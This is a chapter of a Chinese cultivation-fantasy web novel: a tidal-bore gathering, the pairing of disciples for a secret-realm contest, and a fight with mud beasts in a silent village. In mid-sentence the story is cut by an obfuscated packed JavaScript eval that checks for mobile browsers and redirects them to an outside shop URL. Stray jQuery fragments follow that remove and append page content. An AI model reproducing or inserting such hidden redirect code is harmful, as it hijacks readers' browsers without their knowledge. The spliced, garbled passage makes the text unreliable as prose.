漫漫平沙走白虹,瑶台失手玉杯空。晴天摇动清江底,晚日浮沉急浪中。
浙水出自三天子都山,入海口处每月有浩然大潮,雄伟壮阔,常有往来旅人称颂,将其比作“贯日白虹、瑶台泼酒”。观云城便坐落于浙水北岸和江心岛上,所观的云,亦是银涛雪浪的潮水。
当潮论道的第一日,众人云集于观云城凌霄台共观大潮。
群青个子小,挤在人堆里使劲踮脚也看不到,只听见此起彼伏的赞叹声,急得一头汗,不由得拉了拉前面的芳岸:“让我看看!”
芳岸从小随着家人四处游历,大潮奇观早就看过数次,倒也不稀罕什么,勉强挪出个身位给她,群青趁势挤进去,伏在江堤上,只见远处一条玉带自天边滚滚而来,连接天际层叠的洁白云堆,好不壮观。
伴随阵阵擂鼓声,数道蓝色身影如白日流星般纵入江中弄潮,是御剑而行的观云城弟子,他们头束发带,背插彩旗,衣袍在万顷波涛里猎猎鼓动,一会儿穿入涛头中,一会儿拔剑舞动,潇洒豪放,引得拊掌叫好。
浪头越发近了,群青觉得脚下隆隆作响,江堤上震动起来,近两丈的巨浪喷涌如雪,惊得她不由得后退半步,撞上身后人,一旁芳芜笑道:“师妹放心,两岸早有结界,浪卷不到你的。”
果然,猛兽般的潮水轰然而过,浪涛拍在看不见的结界上,顿成乱琼碎玉。
群青觉得自己脸都麻木了,呼吸也被这奇观所夺,沉浸其中不能自拔。这时一道亮若洪钟的男声骤然响起:“诸位,这便是我观云城十八大潮,当初几位祖师正是观潮有感,设立了当潮论道。此时此地修真菁英荟萃,论道重回发祥地,我观云城实蒙荣幸,请各位入座,论道即将开始!”
说话的是观云城的掌门人蒋雪鹰,在会稽潜修千年,道号会稽子。他身为东道主,坐席在北面高处,他身后是联合向道委员会的坐席,各委员正襟危坐。
商革代云平子坐在联向委的席中,文全负责带队,正安排诸弟子入座。
群青和芳枝依在一起,芳枝四下物色着值得她关注的大能,眼珠子骨碌碌地转,时不时问群青:“你觉得那人如何?我瞧他英武不凡,起码是个元婴期修士。”
群青比她更没见过世面,哪里知道她问的是谁,又是否单身,只好不断附和。
各门派依次坐好,联向委这才逐一落座,正中间留出个空位,群青正想问那空位,却见一气宇轩昂的白须老者缓缓踱步而来,众人纷纷起立迎他,他阔步走到正中坐下,派头十足。
群青好奇,指着问:“那老头是谁?”
芳枝顺着她的手指看过去,冷汗都出来了,急忙一把抓住她的手:“你不可这样指着,再远人家也能看到的。那可是仰义派的擎天玉柱、架海金梁,比我们掌门师祖还高上一辈,化神期的大能,凤麟道君!”
化神期。群青掰着手指数,炼气、筑基、金丹、元婴、化神。
金丹修士她就已经觉得高深得不可直视,化神期是什么概念她委实不敢想象。
她颤巍巍地说:“你想搞定的大能,不会是他这种……”
芳枝不可置信地敲她脑壳,嗔道:“你瞎诌什么,这种大能在整个修真界都罕见,是我能肖想的?我就想找个元婴期,最好是道主的那种。”
“还以为你对老头子也不在意呢。”群青小心松了口气。
“人家修到这地步,对外貌这种俗物早已超脱,若是他想,平常化作个翩翩少年也不是难事啊。我同人家那是天壤之别,不是外貌上的事。”
群青点点头,不敢再看凤麟道君那方向,规规矩矩地坐好,目视前方。
--
会稽子主持大局,长篇大论地倡议了一番抗魔大业,最后宣布本次当潮论道的规则。
两人一组进入秘境,通关秘境可得流苏,根据秘境难度,流苏分为白、绿、蓝、青、红、紫、金、黑八色,每层秘境结束后共有三根流苏,会根据两人表现分配,拿到上一层的流苏才有资格进下一层。最终联向委将根据流苏的品相评定名次,派发彩头。
群青听说是两人一组,心下飞快盘算起来:他们一共来了六人,正好两两组队,反正她对流苏也没什么追求,到时候都让给同队的人好了。
正美滋滋想着,会稽子便无情打破了她的幻想:“定向弟子乃是首次参加论道,经委员会评估,另行组合,组合名单稍后公布。”
芳岸坐在她前排,转过来叮嘱:“师妹,这是结交他派的好机会,共患难经历难得,要好好把握。不过会稽子有一点没挑明,流苏是可以互相抢夺的,防人之心亦不可无。”
当今可是文明社会,这种野蛮的规则怎么还未废除!群青饱受震撼,露出个比哭还难看的笑:“多谢师兄,只愿我遇上的是文明人。”
“你常在门派中,自然察觉不到修真界实是弱肉强食。道魔之争且不说,道门内部为了灵脉、宝藏、人才何不是争得头破血流。”芳闻对这个话题也是感触颇深,难得主动搭了两句。
芳芜慷慨激昂,总结陈词:“哪有什么岁月静好,不过是有人替你负重前行!”
群青面上露出视死如归的神情,心下却不打算反抗抢夺。自己的水平自己清楚,对方若真有抢夺之心,反抗也只会白挨一顿打,不如早早奉上,保个平安。
少顷,论道细则分发到各门派手上,明确每派可以自行组合一组人,其余弟子都要打入组队池中随机编组,定向弟子单独组合。
玉虚山报了芳闻、芳岸的最强组合,其他门派也报上各自的组合,只有昆吾山据说只来了一个弟子,他不愿同人随机编组,坚持单人一队。
此消息传到其他门派,都引起了不小的轰动,单人虽然能独享流苏奖励,但难度要高上不少,而两人组队总能互相配合互相照顾。除非自己运气不佳成了最后那个落单的,否则弟子们都不会放弃主动组队。
“看来此人相当恃才傲物,不过既然是单人,便已落了下乘。”文全拈须分析,“或许这正是昆吾山的策略也未可知,只管做好自己的事,其他的勿要放在心上。”
联向委和观云城的人共同抽签完成编组,一旁观云城的长老依次唱名,点到名字的弟子则应声前去,准备入场。
群青心底有些紧张,眼见着门派中师兄姐逐一起身应卯,她吞了一口唾沫,环顾场上还未被点到名的人,不知道自己会同谁一队,对方能不能任她抱紧大腿。
“观云城,杜会真!玉虚山,芳衍!”
文全笑着拍拍她的脑袋:“好孩子,在叫你了。快去吧,一切小心。”
她艰难地对文全笑笑,捏着拳头站起来走向应卯区,那里已经站了不少人,有准备入场的,有签到的,人声嘈杂。
有个人正扯着嗓子喊:“芳衍!玉虚山芳衍来了么!”
她急忙举了举手答道:“我在这。”
那人带她去签到画押,“在这里按手指。”
她按下手指,看到“杜会真”的名字后方已经有了个红色指印,不由好奇地抬头环视,见旁边一个身着水蓝色衣裙的姑娘正在捏诀净手,便问那工作人员:“她就是杜会真么?”
“我正是,你是玉虚山的芳衍?”姑娘声音有些冷,带着一层嗅得到的高傲。
群青对她点头,客气道:“杜师姐,请多关照。”
“你多大了?怎么上来就叫师姐?”
“我今年十六,在门派里最小。”
杜会真抱臂道:“呵,我也十六,而且我月份小,你叫我师妹才对。”
群青不纠结:“好的,师妹。”
杜会真抬了抬下巴:“你平常主修的功法是哪一门?剑术还是法术?”
这个问题很直接,但群青确实不知道自己的剑术和法术哪一门学得更好,干脆诚实道:“我这些都学得差不多,最擅长的是种植。”
杜会真眼珠都快掉下来了,不理解当今修真界怎么还有人在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811793|210875||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
搞种植这种天坑事业,不由咋舌道:“哈!你是在逗我么?”
这时旁边的人提醒道:“请二位入场。”说完领着她们往场中的亭子行去。
亭子里立着一块碑,上书:“雷震云霓里,山飞霜雪中。”
群青才看清上面的字,碑文的刻字已经发出一道白色的光,越来越亮,甚至有些刺眼。群青急忙闭上双眼,等了许久,耳边忽闻杜会真傲然的声音:“你可以睁眼了。”
映入眼帘的是一片熟悉的场景,群山环抱间的河谷,块块分明的田野,田间已经割了谷子,留下短短的谷茬和打完稻谷的秸秆。不远处村子里屋舍俨然,茅屋土墙,再走近些便能听见鸡鸣狗吠了,像极了她的家乡谢家坳。
杜会真却不这么想,暗自嘟囔道:“这又是什么地方。”
“这是乡下,杜师妹。”
“我自然知道这是乡下!”杜会真无语道,“我是说我们现在进秘境了,眼前看到的未必就是真的。需要寻到这里的古怪之处,才有头绪破解。”
群青看了一眼天色,太阳快要落山了,再迟些恐怕连投宿都不方便,于是指了指村头几户人家,“我们去那边问问如何?”
两人结伴越过几条田埂,走近村庄,群青想象中的热闹声响却没有出现,村子里静悄悄的,连声狗叫都没有。
“奇怪……”
“怎么了?”杜会真还在打量四周。
“这村子,好生安静。”群青指了指村头几家紧闭的大门,“日落时分应当是最热闹的。在外做农活的扛着锄头回来了,放鸡鸭放牛的也该赶回来,各家做饭吃饭,都有声响;串门的时候,狗也总会叫上两声……”
“或许已经吃完歇下了?”杜会真拧着眉,右手按在剑上,“还是敲门问问。”
群青看着门口晒着的谷子豆荚,还有挂在竹竿上的肉干和摆在笸箩里的鱼干,显然这里是有人生活的,只是眼看太阳要落山了,晒在外头的食物照理说该收回去,不然夜露起来,全部都要受潮的。
杜会真一手压着剑,另一手敲了敲近一扇木门,问道:“有人在么?”
无人应声。
但杜会真耳聪目明,听到了门里隐隐的响动,转头道:“有人在,不出声。”
群青想到每逢年关要紧闭家中大门,放爆竹驱赶年兽的习俗:“他们肯定要收这些谷子食物的,只是现在这样,好像是在躲避什么。”
杜会真让她噤声,细细分辨却听见另一阵响动,从背后不远处传来。循声回望,只见她们来处的田地里褐色的泥土正不断鼓动,激烈翻涌,似乎在土层下面有什么物事要破土而出。
她立即抽剑,指着那片田,寒声道:“注意那边!”
群青连忙回头,田里已经钻出了七八个一人多高的妖兽,浑身流淌着泥土,头上身上顶着散落的秸秆碎叶,龇牙咧嘴,喉咙里发出“咕噜咕噜”的低吼,令人不寒而栗。
杜会真单手捏了个火诀,唤出一团火球往妖兽打去,首当其冲的妖兽不堪一击,散成了一滩烂泥,而其余妖兽则被激怒,前爪刨几下地就要冲过来,杜会真眼疾手快,同时打出数个火球,将它们一一击溃。
她正要松一口气,却见田里不知何时竟又生出数不清的泥兽,无垠的田野里密密麻麻的,显得十分怪异恐怖。
“看来就是这群妖物作祟!”她厉声喝道,“看剑!”
她将剑抛上半空,双手合十击掌,剑“铮”地一声幻出十来道剑光,冷箭一般射出,接连穿过一大片妖兽,剑气如同绣娘手中银针一般飞针走线,令人眼花缭乱。
但她剑气再锋利,也是应接不暇,源源不断的泥兽从田地里生出,潮水一般涌向村子,眼见就要向两人扑来。杜会真战了半天,却没见群青出手,她一边挥剑斩杀近前的泥兽,一边看向愣着的群青,愤然道:“你瞧够了吗,你倒是打啊!”
眼前的泥兽亮出狰狞獠牙,群青扭头就跑,“我、我不会法术啊!”